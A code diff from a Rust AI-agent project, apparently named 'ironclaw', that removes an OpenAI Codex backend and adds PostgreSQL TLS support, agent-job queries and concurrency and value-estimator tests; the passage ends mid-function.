let settings = Settings { let settings = Settings {
llm_backend: Some("openai_codex".to_string()), llm_backend: Some("openai_compatible".to_string()),
openai_compatible_base_url: Some("http://localhost:11434/v1".to_string()),
selected_model: Some("llama3.2".to_string()),
..Default::default() ..Default::default()
}; };
let cfg = LlmConfig::resolve(&settings).expect("resolve should succeed"); let cfg = LlmConfig::resolve(&settings).expect("resolve should succeed");
let codex = cfg.openai_codex.expect("codex config should be present"); let compat = cfg
.openai_compatible
.expect("openai-compatible config should be present");
assert_eq!(codex.model, "gpt-5.1-codex");
assert_eq!(codex.base_url, "https://custom.example.com/v1");
assert_eq!(codex.account_id.as_deref(), Some("acct_123"));
assert_eq!( assert_eq!(
codex.auth_path, compat.model, "llama3.2",
std::path::PathBuf::from("/tmp/test-auth.json") "model name with dot must not be truncated"
); );
// Cleanup
unsafe {
std::env::remove_var("OPENAI_CODEX_MODEL");
std::env::remove_var("OPENAI_CODEX_BASE_URL");
std::env::remove_var("OPENAI_CODEX_ACCOUNT_ID");
std::env::remove_var("CODEX_AUTH_PATH");
}
}
#[test]
fn codex_not_populated_for_other_backends() {
let _guard = ENV_MUTEX.lock().expect("env mutex poisoned");
clear_codex_env();
let settings = Settings {
llm_backend: Some("nearai".to_string()),
..Default::default()
};
let cfg = LlmConfig::resolve(&settings).expect("resolve should succeed");
assert!(cfg.openai_codex.is_none());
}
#[test]
fn test_extract_codex_oauth_token_nested() {
let dir = std::env::temp_dir().join("ironclaw-test-codex");
let _ = std::fs::create_dir_all(&dir);
let path = dir.join("auth-nested.json");
std::fs::write(
&path,
r#"{"tokens":{"access_token":"oauth-tok-123","refresh_token":"rt_456"}}"#,
)
.expect("write test file");
let token = extract_codex_oauth_token(&path);
assert_eq!(token, Some("oauth-tok-123".to_string()));
let _ = std::fs::remove_file(&path);
}
#[test]
fn test_extract_codex_oauth_token_flat() {
let dir = std::env::temp_dir().join("ironclaw-test-codex");
let _ = std::fs::create_dir_all(&dir);
let path = dir.join("auth-flat.json");
std::fs::write(&path, r#"{"token":"flat-tok-789"}"#).expect("write test file");
let token = extract_codex_oauth_token(&path);
assert_eq!(token, Some("flat-tok-789".to_string()));
let _ = std::fs::remove_file(&path);
}
#[test]
fn test_extract_codex_oauth_token_missing_file() {
let path = std::path::Path::new("/tmp/ironclaw-nonexistent-auth.json");
assert!(extract_codex_oauth_token(path).is_none());
}
#[test]
fn test_extract_codex_oauth_token_empty_fields() {
let dir = std::env::temp_dir().join("ironclaw-test-codex");
let _ = std::fs::create_dir_all(&dir);
let path = dir.join("auth-empty.json");
std::fs::write(
&path,
r#"{"tokens":{"access_token":""},"token":"","api_key":""}"#,
)
.expect("write test file");
let token = extract_codex_oauth_token(&path);
assert!(token.is_none());
let _ = std::fs::remove_file(&path);
} }
} }
+3 -4
View File
@@ -32,13 +32,13 @@ use crate::settings::Settings;
pub use self::agent::AgentConfig; pub use self::agent::AgentConfig;
pub use self::builder::BuilderModeConfig; pub use self::builder::BuilderModeConfig;
pub use self::channels::{ChannelsConfig, CliConfig, GatewayConfig, HttpConfig, SignalConfig}; pub use self::channels::{ChannelsConfig, CliConfig, GatewayConfig, HttpConfig, SignalConfig};
pub use self::database::{DatabaseBackend, DatabaseConfig, default_libsql_path}; pub use self::database::{DatabaseBackend, DatabaseConfig, SslMode, default_libsql_path};
pub use self::embeddings::EmbeddingsConfig; pub use self::embeddings::EmbeddingsConfig;
pub use self::heartbeat::HeartbeatConfig; pub use self::heartbeat::HeartbeatConfig;
pub use self::hygiene::HygieneConfig; pub use self::hygiene::HygieneConfig;
pub use self::llm::{ pub use self::llm::{
AnthropicDirectConfig, LlmBackend, LlmConfig, NearAiConfig, OllamaConfig, OpenAiCodexConfig, AnthropicDirectConfig, LlmBackend, LlmConfig, NearAiConfig, OllamaConfig,
OpenAiCompatibleConfig, OpenAiDirectConfig, TinfoilConfig, extract_codex_oauth_token, OpenAiCompatibleConfig, OpenAiDirectConfig, TinfoilConfig,
}; };
pub use self::routines::RoutineConfig; pub use self::routines::RoutineConfig;
pub use self::safety::SafetyConfig; pub use self::safety::SafetyConfig;
@@ -220,7 +220,6 @@ pub async fn inject_llm_keys_from_secrets(
("llm_anthropic_api_key", "ANTHROPIC_API_KEY"), ("llm_anthropic_api_key", "ANTHROPIC_API_KEY"),
("llm_compatible_api_key", "LLM_API_KEY"), ("llm_compatible_api_key", "LLM_API_KEY"),
("llm_nearai_api_key", "NEARAI_API_KEY"), ("llm_nearai_api_key", "NEARAI_API_KEY"),
("llm_codex_api_key", "OPENAI_CODEX_API_KEY"),
]; ];
let mut injected = HashMap::new(); let mut injected = HashMap::new();
+3 -8
View File
@@ -1,5 +1,6 @@
use std::path::PathBuf; use std::path::PathBuf;
use crate::bootstrap::ironclaw_base_dir;
use crate::config::helpers::{optional_env, parse_bool_env, parse_optional_env}; use crate::config::helpers::{optional_env, parse_bool_env, parse_optional_env};
use crate::error::ConfigError; use crate::error::ConfigError;
@@ -34,18 +35,12 @@ impl Default for SkillsConfig {
/// Get the default user skills directory (~/.ironclaw/skills/). /// Get the default user skills directory (~/.ironclaw/skills/).
fn default_skills_dir() -> PathBuf { fn default_skills_dir() -> PathBuf {
dirs::home_dir() ironclaw_base_dir().join("skills")
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw")
.join("skills")
} }
/// Get the default installed skills directory (~/.ironclaw/installed_skills/). /// Get the default installed skills directory (~/.ironclaw/installed_skills/).
fn default_installed_skills_dir() -> PathBuf { fn default_installed_skills_dir() -> PathBuf {
dirs::home_dir() ironclaw_base_dir().join("installed_skills")
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw")
.join("installed_skills")
} }
impl SkillsConfig { impl SkillsConfig {
+2 -4
View File
@@ -1,6 +1,7 @@
use std::path::PathBuf; use std::path::PathBuf;
use std::time::Duration; use std::time::Duration;
use crate::bootstrap::ironclaw_base_dir;
use crate::config::helpers::{optional_env, parse_bool_env, parse_optional_env}; use crate::config::helpers::{optional_env, parse_bool_env, parse_optional_env};
use crate::error::ConfigError; use crate::error::ConfigError;
@@ -39,10 +40,7 @@ impl Default for WasmConfig {
/// Get the default tools directory (~/.ironclaw/tools/). /// Get the default tools directory (~/.ironclaw/tools/).
fn default_tools_dir() -> PathBuf { fn default_tools_dir() -> PathBuf {
dirs::home_dir() ironclaw_base_dir().join("tools")
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw")
.join("tools")
} }
impl WasmConfig { impl WasmConfig {
+167
View File
@@ -323,4 +323,171 @@ mod tests {
let context = manager.get_context(job_id).await.unwrap(); let context = manager.get_context(job_id).await.unwrap();
assert_eq!(context.state, crate::context::JobState::InProgress); assert_eq!(context.state, crate::context::JobState::InProgress);
} }
// === QA Plan P3 - 4.2: Concurrent job stress tests ===
#[tokio::test]
async fn concurrent_creates_produce_unique_ids() {
let manager = std::sync::Arc::new(ContextManager::new(100));
let handles: Vec<_> = (0..50)
.map(|i| {
let mgr = std::sync::Arc::clone(&manager);
tokio::spawn(async move {
mgr.create_job(format!("Job {i}"), format!("Desc {i}"))
.await
})
})
.collect();
let mut ids = std::collections::HashSet::new();
for handle in handles {
let result = handle.await.expect("task should not panic");
let job_id = result.expect("create_job should succeed");
assert!(ids.insert(job_id), "Duplicate job ID: {job_id}");
}
assert_eq!(ids.len(), 50);
assert_eq!(manager.all_jobs().await.len(), 50);
}
#[tokio::test]
async fn concurrent_creates_respect_max_jobs_limit() {
// max_jobs = 5, but create_job only counts *active* jobs (InProgress).
// Pending jobs don't count against the limit, so we need to transition them.
let manager = std::sync::Arc::new(ContextManager::new(5));
// First, create 5 jobs and make them active.
for i in 0..5 {
let id = manager
.create_job(format!("Job {i}"), "desc")
.await
.unwrap();
manager
.update_context(id, |ctx| {
ctx.transition_to(crate::context::JobState::InProgress, None)
})
.await
.unwrap()
.unwrap();
}
// Now try to create 10 more concurrently -- all should fail.
let handles: Vec<_> = (0..10)
.map(|i| {
let mgr = std::sync::Arc::clone(&manager);
tokio::spawn(async move { mgr.create_job(format!("Overflow {i}"), "desc").await })
})
.collect();
for handle in handles {
let result = handle.await.expect("task should not panic");
assert!(
matches!(result, Err(JobError::MaxJobsExceeded { .. })),
"Expected MaxJobsExceeded, got: {:?}",
result
);
}
// Still exactly 5 jobs.
assert_eq!(manager.all_jobs().await.len(), 5);
}
#[tokio::test]
async fn concurrent_creates_and_reads_no_corruption() {
let manager = std::sync::Arc::new(ContextManager::new(100));
// Spawn writers that create jobs.
let writer_handles: Vec<_> = (0..20)
.map(|i| {
let mgr = std::sync::Arc::clone(&manager);
tokio::spawn(async move {
mgr.create_job_for_user(
format!("user-{}", i % 5),
format!("Job {i}"),
format!("Description for job {i}"),
)
.await
})
})
.collect();
// Concurrently, spawn readers that list jobs.
let reader_handles: Vec<_> = (0..20)
.map(|_| {
let mgr = std::sync::Arc::clone(&manager);
tokio::spawn(async move {
let _all = mgr.all_jobs().await;
let _active = mgr.active_jobs().await;
let _summary = mgr.summary().await;
})
})
.collect();
// Wait for all writers.
let mut ids = Vec::new();
for handle in writer_handles {
let result = handle.await.expect("writer should not panic");
ids.push(result.expect("create should succeed"));
}
// Wait for all readers.
for handle in reader_handles {
handle.await.expect("reader should not panic");
}
// All 20 jobs created with unique IDs.
let unique: std::collections::HashSet<_> = ids.iter().collect();
assert_eq!(unique.len(), 20);
// Each user has 4 jobs (20 jobs / 5 users).
for u in 0..5 {
let user_jobs = manager.all_jobs_for(&format!("user-{u}")).await;
assert_eq!(user_jobs.len(), 4, "user-{u} should have 4 jobs");
}
}
#[tokio::test]
async fn concurrent_updates_do_not_lose_state() {
let manager = std::sync::Arc::new(ContextManager::new(100));
// Create 10 jobs.
let mut job_ids = Vec::new();
for i in 0..10 {
let id = manager
.create_job(format!("Job {i}"), "desc")
.await
.unwrap();
job_ids.push(id);
}
// Concurrently transition all to InProgress.
let handles: Vec<_> = job_ids
.iter()
.map(|&id| {
let mgr = std::sync::Arc::clone(&manager);
tokio::spawn(async move {
mgr.update_context(id, |ctx| {
ctx.transition_to(crate::context::JobState::InProgress, None)
})
.await
})
})
.collect();
for handle in handles {
let result = handle.await.expect("task should not panic");
result
.expect("update should succeed")
.expect("transition should succeed");
}
// All 10 should now be InProgress.
let active = manager.active_jobs().await;
assert_eq!(active.len(), 10);
for id in &job_ids {
let ctx = manager.get_context(*id).await.unwrap();
assert_eq!(ctx.state, crate::context::JobState::InProgress);
}
}
} }
+1 -1
View File
@@ -97,7 +97,7 @@ impl ConversationStore for LibSqlBackend {
c.started_at, c.started_at,
c.last_activity, c.last_activity,
c.metadata, c.metadata,
(SELECT COUNT(*) FROM conversation_messages m WHERE m.conversation_id = c.id) AS message_count, (SELECT COUNT(*) FROM conversation_messages m WHERE m.conversation_id = c.id AND m.role = 'user') AS message_count,
(SELECT substr(m2.content, 1, 100) (SELECT substr(m2.content, 1, 100)
FROM conversation_messages m2 FROM conversation_messages m2
WHERE m2.conversation_id = c.id AND m2.role = 'user' WHERE m2.conversation_id = c.id AND m2.role = 'user'
+64 -1
View File
@@ -12,7 +12,7 @@ use super::{
use crate::context::{ActionRecord, JobContext, JobState}; use crate::context::{ActionRecord, JobContext, JobState};
use crate::db::JobStore; use crate::db::JobStore;
use crate::error::DatabaseError; use crate::error::DatabaseError;
use crate::history::LlmCallRecord; use crate::history::{AgentJobRecord, AgentJobSummary, LlmCallRecord};
use chrono::Utc; use chrono::Utc;
@@ -173,6 +173,69 @@ impl JobStore for LibSqlBackend {
Ok(ids) Ok(ids)
} }
async fn list_agent_jobs(&self) -> Result<Vec<AgentJobRecord>, DatabaseError> {
let conn = self.connect().await?;
let mut rows = conn
.query(
r#"
SELECT id, title, status, user_id, failure_reason,
created_at, started_at, completed_at
FROM agent_jobs WHERE source = 'direct'
ORDER BY created_at DESC
"#,
(),
)
.await
.map_err(|e| DatabaseError::Query(e.to_string()))?;
let mut jobs = Vec::new();
while let Some(row) = rows
.next()
.await
.map_err(|e| DatabaseError::Query(e.to_string()))?
{
let id_str = get_text(&row, 0);
let Ok(id) = id_str.parse() else {
tracing::warn!("Skipping agent job with invalid UUID: {}", id_str);
continue;
};
jobs.push(AgentJobRecord {
id,
title: get_text(&row, 1),
status: get_text(&row, 2),
user_id: get_text(&row, 3),
failure_reason: get_opt_text(&row, 4),
created_at: get_ts(&row, 5),
started_at: get_opt_ts(&row, 6),
completed_at: get_opt_ts(&row, 7),
});
}
Ok(jobs)
}
async fn agent_job_summary(&self) -> Result<AgentJobSummary, DatabaseError> {
let conn = self.connect().await?;
let mut rows = conn
.query(
"SELECT status, COUNT(*) as cnt FROM agent_jobs WHERE source = 'direct' GROUP BY status",
(),
)
.await
.map_err(|e| DatabaseError::Query(e.to_string()))?;
let mut summary = AgentJobSummary::default();
while let Some(row) = rows
.next()
.await
.map_err(|e| DatabaseError::Query(e.to_string()))?
{
let status = get_text(&row, 0);
let count = get_i64(&row, 1) as usize;
summary.add_count(&status, count);
}
Ok(summary)
}
async fn save_action(&self, job_id: Uuid, action: &ActionRecord) -> Result<(), DatabaseError> { async fn save_action(&self, job_id: Uuid, action: &ActionRecord) -> Result<(), DatabaseError> {
let conn = self.connect().await?; let conn = self.connect().await?;
let duration_ms = action.duration.as_millis() as i64; let duration_ms = action.duration.as_millis() as i64;
+21
View File
@@ -141,6 +141,27 @@ impl RoutineStore for LibSqlBackend {
Ok(routines) Ok(routines)
} }
async fn list_all_routines(&self) -> Result<Vec<Routine>, DatabaseError> {
let conn = self.connect().await?;
let mut rows = conn
.query(
&format!("SELECT {} FROM routines ORDER BY name", ROUTINE_COLUMNS),
(),
)
.await
.map_err(|e| DatabaseError::Query(e.to_string()))?;
let mut routines = Vec::new();
while let Some(row) = rows
.next()
.await
.map_err(|e| DatabaseError::Query(e.to_string()))?
{
routines.push(row_to_routine_libsql(&row)?);
}
Ok(routines)
}
async fn list_event_routines(&self) -> Result<Vec<Routine>, DatabaseError> { async fn list_event_routines(&self) -> Result<Vec<Routine>, DatabaseError> {
let conn = self.connect().await?; let conn = self.connect().await?;
let mut rows = conn let mut rows = conn
+8 -2
View File
@@ -12,6 +12,9 @@
#[cfg(feature = "postgres")] #[cfg(feature = "postgres")]
pub mod postgres; pub mod postgres;
#[cfg(feature = "postgres")]
pub mod tls;
#[cfg(feature = "libsql")] #[cfg(feature = "libsql")]
pub mod libsql; pub mod libsql;
@@ -32,8 +35,8 @@ use crate::context::{ActionRecord, JobContext, JobState};
use crate::error::DatabaseError; use crate::error::DatabaseError;
use crate::error::WorkspaceError; use crate::error::WorkspaceError;
use crate::history::{ use crate::history::{
ConversationMessage, ConversationSummary, JobEventRecord, LlmCallRecord, SandboxJobRecord, AgentJobRecord, AgentJobSummary, ConversationMessage, ConversationSummary, JobEventRecord,
SandboxJobSummary, SettingRow, LlmCallRecord, SandboxJobRecord, SandboxJobSummary, SettingRow,
}; };
use crate::workspace::{MemoryChunk, MemoryDocument, WorkspaceEntry}; use crate::workspace::{MemoryChunk, MemoryDocument, WorkspaceEntry};
use crate::workspace::{SearchConfig, SearchResult}; use crate::workspace::{SearchConfig, SearchResult};
@@ -172,6 +175,8 @@ pub trait JobStore: Send + Sync {
) -> Result<(), DatabaseError>; ) -> Result<(), DatabaseError>;
async fn mark_job_stuck(&self, id: Uuid) -> Result<(), DatabaseError>; async fn mark_job_stuck(&self, id: Uuid) -> Result<(), DatabaseError>;
async fn get_stuck_jobs(&self) -> Result<Vec<Uuid>, DatabaseError>; async fn get_stuck_jobs(&self) -> Result<Vec<Uuid>, DatabaseError>;
async fn list_agent_jobs(&self) -> Result<Vec<AgentJobRecord>, DatabaseError>;
async fn agent_job_summary(&self) -> Result<AgentJobSummary, DatabaseError>;
async fn save_action(&self, job_id: Uuid, action: &ActionRecord) -> Result<(), DatabaseError>; async fn save_action(&self, job_id: Uuid, action: &ActionRecord) -> Result<(), DatabaseError>;
async fn get_job_actions(&self, job_id: Uuid) -> Result<Vec<ActionRecord>, DatabaseError>; async fn get_job_actions(&self, job_id: Uuid) -> Result<Vec<ActionRecord>, DatabaseError>;
async fn record_llm_call(&self, record: &LlmCallRecord<'_>) -> Result<Uuid, DatabaseError>; async fn record_llm_call(&self, record: &LlmCallRecord<'_>) -> Result<Uuid, DatabaseError>;
@@ -247,6 +252,7 @@ pub trait RoutineStore: Send + Sync {
name: &str, name: &str,
) -> Result<Option<Routine>, DatabaseError>; ) -> Result<Option<Routine>, DatabaseError>;
async fn list_routines(&self, user_id: &str) -> Result<Vec<Routine>, DatabaseError>; async fn list_routines(&self, user_id: &str) -> Result<Vec<Routine>, DatabaseError>;
async fn list_all_routines(&self) -> Result<Vec<Routine>, DatabaseError>;
async fn list_event_routines(&self) -> Result<Vec<Routine>, DatabaseError>; async fn list_event_routines(&self) -> Result<Vec<Routine>, DatabaseError>;
async fn list_due_cron_routines(&self) -> Result<Vec<Routine>, DatabaseError>; async fn list_due_cron_routines(&self) -> Result<Vec<Routine>, DatabaseError>;
async fn update_routine(&self, routine: &Routine) -> Result<(), DatabaseError>; async fn update_routine(&self, routine: &Routine) -> Result<(), DatabaseError>;
+14 -2
View File
@@ -21,8 +21,8 @@ use crate::db::{
}; };
use crate::error::{DatabaseError, WorkspaceError}; use crate::error::{DatabaseError, WorkspaceError};
use crate::history::{ use crate::history::{
ConversationMessage, ConversationSummary, JobEventRecord, LlmCallRecord, SandboxJobRecord, AgentJobRecord, AgentJobSummary, ConversationMessage, ConversationSummary, JobEventRecord,
SandboxJobSummary, SettingRow, Store, LlmCallRecord, SandboxJobRecord, SandboxJobSummary, SettingRow, Store,
}; };
use crate::workspace::{ use crate::workspace::{
MemoryChunk, MemoryDocument, Repository, SearchConfig, SearchResult, WorkspaceEntry, MemoryChunk, MemoryDocument, Repository, SearchConfig, SearchResult, WorkspaceEntry,
@@ -215,6 +215,14 @@ impl JobStore for PgBackend {
self.store.get_stuck_jobs().await self.store.get_stuck_jobs().await
} }
async fn list_agent_jobs(&self) -> Result<Vec<AgentJobRecord>, DatabaseError> {
self.store.list_agent_jobs().await
}
async fn agent_job_summary(&self) -> Result<AgentJobSummary, DatabaseError> {
self.store.agent_job_summary().await
}
async fn save_action(&self, job_id: Uuid, action: &ActionRecord) -> Result<(), DatabaseError> { async fn save_action(&self, job_id: Uuid, action: &ActionRecord) -> Result<(), DatabaseError> {
self.store.save_action(job_id, action).await self.store.save_action(job_id, action).await
} }
@@ -373,6 +381,10 @@ impl RoutineStore for PgBackend {
self.store.list_routines(user_id).await self.store.list_routines(user_id).await
} }
async fn list_all_routines(&self) -> Result<Vec<Routine>, DatabaseError> {
self.store.list_all_routines().await
}
async fn list_event_routines(&self) -> Result<Vec<Routine>, DatabaseError> { async fn list_event_routines(&self) -> Result<Vec<Routine>, DatabaseError> {
self.store.list_event_routines().await self.store.list_event_routines().await
} }
+86
View File
@@ -0,0 +1,86 @@
//! TLS connector factory for PostgreSQL connections.
//!
//! Builds a [`deadpool_postgres::Pool`] with the appropriate TLS connector
//! based on the configured [`SslMode`]. Uses `rustls` with system root
//! certificates — the same TLS stack that `reqwest` already uses for HTTP.
use deadpool_postgres::{Pool, Runtime};
use tokio_postgres::NoTls;
use tokio_postgres_rustls::MakeRustlsConnect;
use crate::config::SslMode;
/// Build a rustls-based TLS connector using the platform's root certificate store.
fn make_rustls_connector() -> MakeRustlsConnect {
let mut root_store = rustls::RootCertStore::empty();
let native = rustls_native_certs::load_native_certs();
for e in &native.errors {
tracing::warn!("error loading system root certs: {e}");
}
for cert in native.certs {
if let Err(e) = root_store.add(cert) {
tracing::warn!("skipping invalid system root cert: {e}");
}
}
if root_store.is_empty() {
tracing::error!("no system root certificates found -- TLS connections will fail");
}
let config = rustls::ClientConfig::builder()
.with_root_certificates(root_store)
.with_no_client_auth();
MakeRustlsConnect::new(config)
}
/// Create a [`deadpool_postgres::Pool`] with the appropriate TLS connector.
///
/// - `Disable` → plain TCP (no TLS)
/// - `Prefer` / `Require` → rustls with system root certificates
///
/// **Note:** `Prefer` and `Require` currently behave identically — both
/// provide a TLS connector and will fail if the server rejects the TLS
/// handshake. True `prefer` semantics (retry without TLS on failure)
/// would require reconnection logic that tokio-postgres does not provide
/// out of the box. The three-variant enum is kept for forward-compatibility
/// and familiarity with libpq's `sslmode` parameter.
pub fn create_pool(
config: &deadpool_postgres::Config,
ssl_mode: SslMode,
) -> Result<Pool, deadpool_postgres::CreatePoolError> {
match ssl_mode {
SslMode::Disable => config.create_pool(Some(Runtime::Tokio1), NoTls),
SslMode::Prefer | SslMode::Require => {
let tls = make_rustls_connector();
config.create_pool(Some(Runtime::Tokio1), tls)
}
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn create_pool_disable_mode() {
let mut config = deadpool_postgres::Config::new();
config.url = Some("postgres://localhost/test".to_string());
// Should succeed — pool is created lazily, no actual connection needed.
let pool = create_pool(&config, SslMode::Disable);
assert!(pool.is_ok());
}
#[test]
fn create_pool_prefer_mode() {
let mut config = deadpool_postgres::Config::new();
config.url = Some("postgres://localhost/test".to_string());
let pool = create_pool(&config, SslMode::Prefer);
assert!(pool.is_ok());
}
#[test]
fn create_pool_require_mode() {
let mut config = deadpool_postgres::Config::new();
config.url = Some("postgres://localhost/test".to_string());
let pool = create_pool(&config, SslMode::Require);
assert!(pool.is_ok());
}
}
+238
View File
@@ -120,4 +120,242 @@ mod tests {
// Negative cost with zero price is profitable (we get paid to do it) // Negative cost with zero price is profitable (we get paid to do it)
assert!(estimator.is_profitable(Decimal::ZERO, dec!(-10.0))); assert!(estimator.is_profitable(Decimal::ZERO, dec!(-10.0)));
} }
// === QA Plan P2 - 4.4: Value estimator boundary tests ===
#[test]
fn test_profitability_negative_cost() {
let estimator = ValueEstimator::new();
// Negative cost means we get paid to do the work -- always profitable
// with any positive price.
assert!(estimator.is_profitable(dec!(100.0), dec!(-50.0)));
assert!(estimator.is_profitable(dec!(1.0), dec!(-0.01)));
}
#[test]
fn test_profitability_cost_exceeds_price() {
let estimator = ValueEstimator::new();
// Cost exceeds price → negative margin → not profitable.
assert!(!estimator.is_profitable(dec!(10.0), dec!(100.0)));
}
#[test]
fn test_margin_zero_earnings() {
let estimator = ValueEstimator::new();
// Zero earnings → margin should be zero, not panic from divide-by-zero.
assert_eq!(
estimator.calculate_margin(Decimal::ZERO, dec!(50.0)),
Decimal::ZERO
);
assert_eq!(
estimator.calculate_margin(Decimal::ZERO, Decimal::ZERO),
Decimal::ZERO
);
}
#[test]
fn test_estimate_zero_cost() {
let estimator = ValueEstimator::new();
// Zero cost → value estimate should be zero (cost + 30% of zero).
let value = estimator.estimate("free task", Decimal::ZERO);
assert_eq!(value, Decimal::ZERO);
}
#[test]
fn test_minimum_vs_ideal_bid() {
let estimator = ValueEstimator::new();
let cost = dec!(100.0);
let min_bid = estimator.minimum_bid(cost);
let ideal_bid = estimator.ideal_bid(cost);
// Minimum bid should always be less than ideal bid.
assert!(min_bid < ideal_bid);
// Both should be above cost.
assert!(min_bid > cost);
assert!(ideal_bid > cost);
}
#[test]
fn test_profit_calculation() {
let estimator = ValueEstimator::new();
assert_eq!(
estimator.calculate_profit(dec!(150.0), dec!(100.0)),
dec!(50.0)
);
// Negative profit (loss).
assert_eq!(
estimator.calculate_profit(dec!(50.0), dec!(100.0)),
dec!(-50.0)
);
}
// === Additional boundary / edge-case tests (QA Plan 4.4) ===
#[test]
fn is_profitable_with_very_large_values() {
let estimator = ValueEstimator::new();
// rust_decimal::Decimal max is ~79_228_162_514_264_337_593_543_950_335.
// Use values large enough to stress multiplication but within Decimal range.
let big = Decimal::new(i64::MAX, 0); // 9_223_372_036_854_775_807
let small = Decimal::new(1, 0);
// Large price, small cost -- clearly profitable, must not overflow.
assert!(estimator.is_profitable(big, small));
// Large cost, small price -- clearly unprofitable.
assert!(!estimator.is_profitable(small, big));
// Large equal values: margin = 0, which is < 10% min -- not profitable.
assert!(!estimator.is_profitable(big, big));
}
#[test]
fn estimate_value_with_very_large_cost() {
let estimator = ValueEstimator::new();
let big = Decimal::new(i64::MAX / 2, 0);
let value = estimator.estimate("big job", big);
// value = cost + cost * 0.3 = cost * 1.3, should not overflow.
assert!(value > big);
}
#[test]
fn is_profitable_with_negative_price() {
let estimator = ValueEstimator::new();
// Negative price is an unusual edge case. The current formula
// margin = (price - cost) / price can produce misleading results
// because dividing two negatives yields a positive.
//
// price = -10, cost = 5: margin = (-10 - 5) / -10 = 1.5 >= 0.1
// The formula says "profitable" even though the scenario is nonsensical.
// We document the current behavior here; a guard for negative prices
// could be added in a future hardening pass.
assert!(estimator.is_profitable(dec!(-10.0), dec!(5.0)));
// price = -10, cost = -20: margin = (-10 - (-20)) / -10 = -1.0 < 0.1.
assert!(!estimator.is_profitable(dec!(-10.0), dec!(-20.0)));
}
#[test]
fn calculate_margin_with_negative_earnings() {
let estimator = ValueEstimator::new();
// Negative earnings -- margin formula still computes without panic.
let margin = estimator.calculate_margin(dec!(-100.0), dec!(50.0));
// (earnings - cost) / earnings = (-100 - 50) / -100 = 1.5
assert_eq!(margin, dec!(1.5));
}
#[test]
fn calculate_margin_with_both_negative() {
let estimator = ValueEstimator::new();
// Both negative: earnings = -50, cost = -100.
// margin = (-50 - (-100)) / -50 = 50 / -50 = -1.0
let margin = estimator.calculate_margin(dec!(-50.0), dec!(-100.0));
assert_eq!(margin, dec!(-1.0));
}
#[test]
fn minimum_bid_with_zero_cost() {
let estimator = ValueEstimator::new();
// Zero cost -- both bids should be zero.
assert_eq!(estimator.minimum_bid(Decimal::ZERO), Decimal::ZERO);
assert_eq!(estimator.ideal_bid(Decimal::ZERO), Decimal::ZERO);
}
#[test]
fn minimum_bid_with_negative_cost() {
let estimator = ValueEstimator::new();
// Negative cost -- the bid formulas still compute (cost + cost * margin),
// producing a negative bid (we'd pay them).
let min_bid = estimator.minimum_bid(dec!(-100.0));
let ideal_bid = estimator.ideal_bid(dec!(-100.0));
assert!(min_bid < Decimal::ZERO);
assert!(ideal_bid < Decimal::ZERO);
// With negative values, ideal (more negative) < minimum (less negative).
assert!(ideal_bid < min_bid);
}
#[test]
fn estimate_with_negative_cost() {
let estimator = ValueEstimator::new();
// Negative cost: value = cost + cost * 0.3 = -100 + (-30) = -130.
let value = estimator.estimate("refund task", dec!(-100.0));
assert_eq!(value, dec!(-130.0));
}
#[test]
fn custom_margins_affect_profitability() {
let mut estimator = ValueEstimator::new();
let price = dec!(110.0);
let cost = dec!(100.0);
// Default 10% min margin: (110 - 100) / 110 ~= 9.09% < 10% -> not profitable.
assert!(!estimator.is_profitable(price, cost));
// Lower min margin to 5% -> now 9.09% >= 5% -> profitable.
estimator.set_min_margin(dec!(0.05));
assert!(estimator.is_profitable(price, cost));
// Raise min margin to 50% -> 9.09% < 50% -> not profitable.
estimator.set_min_margin(dec!(0.50));
assert!(!estimator.is_profitable(price, cost));
}
#[test]
fn custom_target_margin_affects_bids() {
let mut estimator = ValueEstimator::new();
let cost = dec!(100.0);
let default_ideal = estimator.ideal_bid(cost);
assert_eq!(default_ideal, dec!(130.0)); // 100 + 30%
estimator.set_target_margin(dec!(0.5));
let new_ideal = estimator.ideal_bid(cost);
assert_eq!(new_ideal, dec!(150.0)); // 100 + 50%
}
#[test]
fn is_profitable_at_exact_margin_boundary() {
let estimator = ValueEstimator::new();
// min_margin = 0.1 (10%). Price = 100, cost = 90 -> margin = 10/100 = 0.1.
// Exactly at boundary -- should be profitable (>=).
assert!(estimator.is_profitable(dec!(100.0), dec!(90.0)));
// Slightly below boundary: cost = 90.01 -> margin = 9.99/100 = 0.0999 < 0.1.
assert!(!estimator.is_profitable(dec!(100.0), dec!(90.01)));
}
#[test]
fn profit_with_zero_values() {
let estimator = ValueEstimator::new();
assert_eq!(
estimator.calculate_profit(Decimal::ZERO, Decimal::ZERO),
Decimal::ZERO
);
assert_eq!(
estimator.calculate_profit(Decimal::ZERO, dec!(100.0)),
dec!(-100.0)
);
assert_eq!(
estimator.calculate_profit(dec!(100.0), Decimal::ZERO),
dec!(100.0)
);
}
#[test]
fn default_impl_matches_new() {
let from_new = ValueEstimator::new();
let from_default = ValueEstimator::default();
let cost = dec!(100.0);
// Both should produce identical results.
assert_eq!(
from_new.estimate("x", cost),
from_default.estimate("x", cost)
);
assert_eq!(from_new.minimum_bid(cost), from_default.minimum_bid(cost));
assert_eq!(from_new.ideal_bid(cost), from_default.ideal_bid(cost));
assert_eq!(
from_new.is_profitable(dec!(150.0), cost),
from_default.is_profitable(dec!(150.0), cost)
);
}
} }
+8 -8
View File
@@ -50,14 +50,14 @@ impl OnlineDiscovery {
let mut candidates: Vec<RegistryEntry> = Vec::new(); let mut candidates: Vec<RegistryEntry> = Vec::new();
for entry in patterns { for entry in patterns {
let url = extract_url(&entry.source); let url = extract_source(&entry.source);
if seen_urls.insert(url) { if seen_urls.insert(url) {
candidates.push(entry); candidates.push(entry);
} }
} }
for entry in github.unwrap_or_default() { for entry in github.unwrap_or_default() {
let url = extract_url(&entry.source); let url = extract_source(&entry.source);
if seen_urls.insert(url) { if seen_urls.insert(url) {
candidates.push(entry); candidates.push(entry);
} }
@@ -242,12 +242,12 @@ async fn with_timeout<T>(
tokio::time::timeout(duration, future).await.ok() tokio::time::timeout(duration, future).await.ok()
} }
fn extract_url(source: &ExtensionSource) -> String { fn extract_source(source: &ExtensionSource) -> String {
match source { match source {
ExtensionSource::McpUrl { url } => url.clone(), ExtensionSource::McpUrl { url } => url.clone(),
ExtensionSource::Discovered { url } => url.clone(), ExtensionSource::Discovered { url } => url.clone(),
ExtensionSource::WasmDownload { wasm_url, .. } => wasm_url.clone(), ExtensionSource::WasmDownload { wasm_url, .. } => wasm_url.clone(),
